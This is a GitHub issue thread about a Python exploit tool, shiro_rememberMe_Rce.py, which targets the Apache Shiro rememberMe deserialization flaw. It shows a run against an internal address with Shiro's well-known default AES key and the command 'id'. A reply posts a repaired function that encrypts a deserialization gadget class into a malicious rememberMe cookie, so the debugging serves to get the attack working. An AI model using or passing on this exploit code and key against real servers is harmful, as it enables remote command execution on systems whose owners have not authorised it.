Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Python 3.7.6 运行报错 #1

Open
is101101 opened this issue Dec 30, 2020 · 1 comment
Open

Python 3.7.6 运行报错 #1

is101101 opened this issue Dec 30, 2020 · 1 comment

Comments

@is101101
Copy link

❯ python shiro_rememberMe_Rce.py http://10.43.43.157:8081/login.jsp kPH+bIxk5D2deZiIxcaaaA== id
[-] not support gadget: CommonsBeanutils1
[-] not support gadget: CommonsBeanutils2
[-] not support gadget: CommonsCollectionsK1
[-] not support gadget: CommonsCollectionsK2
[-] not support gadget: Jdk7u21
[-] not support gadget: Jdk8u20
[+] start execute command
Traceback (most recent call last):
File "shiro_rememberMe_Rce.py", line 65, in
attack()
File "shiro_rememberMe_Rce.py", line 50, in attack
cookie_payload = encode_rememberme(sys.argv[2],support_gadget)
File "shiro_rememberMe_Rce.py", line 13, in encode_rememberme
with open('./gadget/'+gadget+'.class','rb+') as f:
TypeError: can only concatenate str (not "NoneType") to str

@shungli923
Copy link

def encode_rememberme(key,gadget):
if gadget is not None:
with open('./gadget/'+gadget+'.class','rb+') as f:
ysopayload=f.read()
BS = AES.block_size # 16
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(ysopayload)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
else:
print("Error: gadget 变量为 None")

这个函数加一个条件判断,替换成我这样子的就可以

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants